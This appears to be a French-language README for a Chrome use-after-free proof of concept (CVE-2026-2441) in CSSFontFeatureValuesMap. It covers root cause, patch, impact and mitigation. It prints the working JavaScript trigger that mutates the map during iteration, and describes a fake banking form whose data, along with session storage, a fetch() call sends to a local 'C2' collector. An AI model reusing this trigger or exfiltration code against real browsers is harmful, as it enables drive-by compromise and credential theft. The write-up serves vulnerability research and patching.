CVE-2026-2441 — Use-After-Free dans CSSFontFeatureValuesMap de Chrome

CVSS 8.8 (Élevé) | Exploité activement dans la nature | RCE du rendu (bac à sable)

Une vulnérabilité use-after-free dans le moteur CSS Blink de Google Chrome qui permet à un attaquant distant d'exécuter du code arbitraire à l'intérieur du bac à sable du navigateur via une page HTML malveillante.

Détails de la vulnérabilité

Versions affectées

Cause racine

FontFeatureValuesMapIterationSource stockait un pointeur brut (const FontFeatureAliases* aliases_) vers la HashMap interne FontFeatureAliases. Lorsque la map est modifiée pendant l'itération via set() ou delete(), la HashMap se réorganise (rehash) — allouant un nouveau stockage et libérant l'ancien. Le pointeur brut devient pendant, et l'appel suivant à FetchNextItem() lit de la mémoire libérée.

Chemin de code vulnérable

CreateIterationSource()
  → FontFeatureValuesMapIterationSource(map, aliases_)
  → aliases_ = raw pointer to internal HashMap
  → iterator_ = aliases_->begin()

FetchNextItem()
  → reads iterator_->key  (through aliases_)

If map.set() / map.delete() is called between iterations:
  → HashMap rehashes (new alloc, old freed)
  → aliases_ → dangling pointer
  → iterator_ → invalidated
  → Next FetchNextItem() → USE-AFTER-FREE

Correctif

- const FontFeatureAliases* aliases_;   // raw pointer → dangling after rehash
+ const FontFeatureAliases aliases_;    // deep copy → immune to rehash

Le correctif remplace le pointeur brut par une copie profonde de la HashMap. Même si la map d'origine se réorganise, l'itérateur opère sur sa propre copie, empêchant le pointeur pendant.

Preuve de concept

Utilisation

1. Ouvrez poc.html dans une version vulnérable de Chrome (< 145.0.7632.75)
2. La page tentera de déclencher le UAF par trois méthodes différentes

Résultats attendus

Comment fonctionne le PoC

Le PoC est organisé pour montrer la chaîne d'exploitation de manière claire et reproductible. La première partie crée l'objet Blink/CSS vulnérable, la deuxième partie déclenche l'invalidation de l'itérateur, et la dernière partie simule les effets post-exploitation dans un environnement académique sécurisé.

Note importante : le déclencheur UAF est implémenté via de vraies API CSS/JavaScript exposées par le navigateur. La fuite de heap et le tableau de bord d'exfiltration sont intentionnellement contrôlés/simulés pour éviter de libérer un exploit Chromium armé.

Étape 1 : Création de la structure CSS vulnérable

La charge utile définit d'abord une règle CSS @font-feature-values :

@font-feature-values VulnFont {
  @styleset {
    a0: 1; a1: 2; a2: 3; a3: 4;
    a4: 5; a5: 6; a6: 7; a7: 8;
  }
}

Cette règle amène Blink à créer un CSSFontFeatureValuesMap interne. Dans l'implémentation vulnérable, l'itération sur cette map est dangereuse car l'itérateur conserve un pointeur brut vers le stockage interne FontFeatureAliases.

La charge utile JavaScript obtient ensuite la map de la feuille de style :

const sheet = document.getElementById("uaf-style").sheet;
const rule = sheet.cssRules[0];
const map = rule && rule.styleset;

À ce stade, la page contrôlée par l'attaquant possède un handle JavaScript sur un objet navigateur dont l'implémentation C++ interne est vulnérable à l'invalidation d'itérateur.

Étape 2 : Exécution différée du déclencheur UAF

Le déclencheur n'est pas exécuté immédiatement. Le PoC attend 800 ms avant d'exécuter la séquence vulnérable :

setTimeout(triggerUAF, 800);

Ce délai est utilisé pour la stabilité de la démo. Il permet à la page et au faux formulaire de vérification bancaire d'être rendus avant que le déclencheur de corruption mémoire ne s'exécute. Dans un scénario réel de drive-by, le même déclencheur pourrait également être lancé automatiquement dès le chargement de la page malveillante.

Étape 3 — Création de l'itérateur et mutation concurrente de la map

La primitive UAF principale est la boucle suivante :

const it = map.entries();
let step = 0;

while (step < 4) {
    const res = it.next();
    if (res.done) break;

    const [key] = res.value;

    map.delete(key);
    map.set("uaf_" + step, [step, step + 1]);

    step++;
}

La vulnérabilité est déclenchée par l'ordre des opérations :

1. map.entries() creates an iterator over CSSFontFeatureValuesMap.
2. In the vulnerable Blink implementation, the iterator references the internal map storage.
3. it.next() reads the next entry through that iterator.
4. map.delete(key) mutates the same map while the iterator is still alive.
5. map.set(...) inserts a new entry and can force the underlying HashMap to rehash.
6. Rehashing may free or move the old storage.
7. The iterator may still reference the old storage.
8. The next iterator access can therefore become a Use-After-Free.

Étape 4 — Pression de heap contrôlée au lieu d'un heap spray agressif

La stratégie agressive initiale utilisait une boucle de type heap-spray plus grande, par exemple en insérant des centaines d'éléments comme 512 nouvelles entrées après chaque suppression. Cela crée une pression de heap plus forte et rend la réallocation/réutilisation plus probable.

Pour la démo en direct, cela a été réduit à seulement 4 étapes de mutation :

while (step < 4) {
    // iterator read + delete + set
}

La raison est pratique et pédagogique : le spray de 512 éléments faisait souvent planter le rendu immédiatement. Un crash est utile pour prouver l'impact sur la disponibilité, mais il empêche le reste de la démonstration de montrer le vol de données simulé et le tableau de bord de l'attaquant. La version réduite démontre toujours la logique d'invalidation d'itérateur vulnérable tout en maintenant le navigateur suffisamment stable pour la présentation en direct.

Étape 5 — Fuite de pointeur de heap simulée

Un véritable exploit UAF armé nécessiterait normalement une primitive de divulgation mémoire pour fuiter des pointeurs de heap ou V8 et contourner l'ASLR. La démo n'implémente pas une vraie lecture mémoire arbitraire. Au lieu de cela, elle génère une adresse de type heap à partir d'une plage statique prédéfinie :

const base = 0x55a000000000 + Math.floor(Math.random() * 0x200000);

heapLeak = {
  raw:  "0x" + base.toString(16).toUpperCase(),
  base: "0x" + (base & ~0xfff).toString(16).toUpperCase()
};

Cette valeur est une fuite de heap simulée :

• 0x55a000000000 est la plage de départ fixe de type heap utilisée par la démo.
• Math.random() * 0x200000 ajoute un petit décalage aléatoire.
• base & ~0xfff aligne l'adresse sur une limite de page.

Le but est de montrer à quoi ressemblerait une fuite permettant de contourner l'ASLR sur le tableau de bord de l'attaquant sans implémenter un véritable exploit de divulgation mémoire.

Étape 6 — Exfiltration vers le backend attaquant local

Après le déclencheur UAF et la fuite de heap simulée, le PoC construit une charge utile contenant les données du formulaire saisies, les données de session résidant dans le navigateur, l'extrait DOM, le statut UAF et la fuite de heap simulée. La charge utile est envoyée au backend attaquant local :

await fetch("http://127.0.0.1:7777/collect", {
  method:  "POST",
  headers: {
    "Content-Type": "application/json",
    "X-C2-Origin": "evil-tracker-cdn.xyz"
  },
  body: JSON.stringify(payload)
});

Le backend local reçoit les données sur POST /collect, les stocke en mémoire et les transmet au tableau de bord de l'attaquant via Server-Sent Events (GET /events). Cela modélise la phase de commande et contrôle / exfiltration d'une attaque réelle tout en restant local et contrôlé.

Impact

Immédiat (dans le bac à sable)

• Exécution de code arbitraire dans le bac à sable du processus de rendu
• Divulgation d'informations — fuite de pointeurs de heap V8 (contournement ASLR), lecture du contenu mémoire du rendu
• Vol d'identifiants — lecture de document.cookie, localStorage, sessionStorage, valeurs de formulaires
• Détournement de session — vol de jetons de session, exfiltration via fetch() / WebSocket / sendBeacon()
• Manipulation du DOM — injection de formulaires de phishing, modification du contenu de la page
• Enregistrement de frappes — capture de toutes les frappes via addEventListener('keydown')

Enchaîné (avec évasion du bac à sable)

Lorsqu'il est combiné avec une vulnérabilité distincte d'évasion du bac à sable :

Renderer RCE (CVE-2026-2441)
    → Mojo IPC exploit → Browser process RCE
        → Kernel exploit → Full system compromise
            → Malware / ransomware / spyware installation
            → File system access, lateral movement, persistence

Chaînes d'exploitation réelles utilisant des UAF similaires dans les navigateurs :

• NSO Pegasus — UAF WebKit + évasion du bac à sable + exploit noyau
• Intellexa Predator — UAF Chrome + exploit noyau Android
• APT-28 (Fancy Bear) — 0-day Chrome + chaîne LPE Windows

Vecteur d'attaque

Cette vulnérabilité est exploitable via un téléchargement furtif (drive-by download) — aucune interaction utilisateur au-delà de la visite d'une page malveillante n'est requise :

• Malvertising — publicités malveillantes servies via des réseaux publicitaires légitimes
• Watering hole — compromission d'un site fréquemment visité par la cible
• Spear phishing — envoi d'un lien malveillant par email ou messagerie

Atténuation

1. Mettre à jour Chrome vers >= 145.0.7632.75 (Windows/macOS) ou >= 144.0.7559.75 (Linux)
2. Mettre à jour les navigateurs basés sur Chromium (Edge, Brave, Opera, Vivaldi) lorsque les correctifs des fournisseurs sont disponibles
3. Vérifier que l'isolation des sites est activée (chrome://flags/#site-isolation-trial-opt-out)
4. Surveiller les terminaux pour les versions de Chrome inférieures aux builds corrigées

Chronologie

Références

• Blog des versions de Google Chrome
• NVD — CVE-2026-2441
• The Hacker News — Zero-Day Chrome sous attaque active
• Chromium Issue Tracker (restreint)

Soutien

Si vous trouvez cette recherche utile, envisagez de m'offrir un café :

Avertissement

Cette preuve de concept est fournie à des fins éducatives et de recherche en sécurité autorisées uniquement. L'utilisation de ce PoC contre des systèmes sans autorisation explicite est illégale et contraire à l'éthique. L'auteur n'est pas responsable de toute utilisation abusive.

Licence

MIT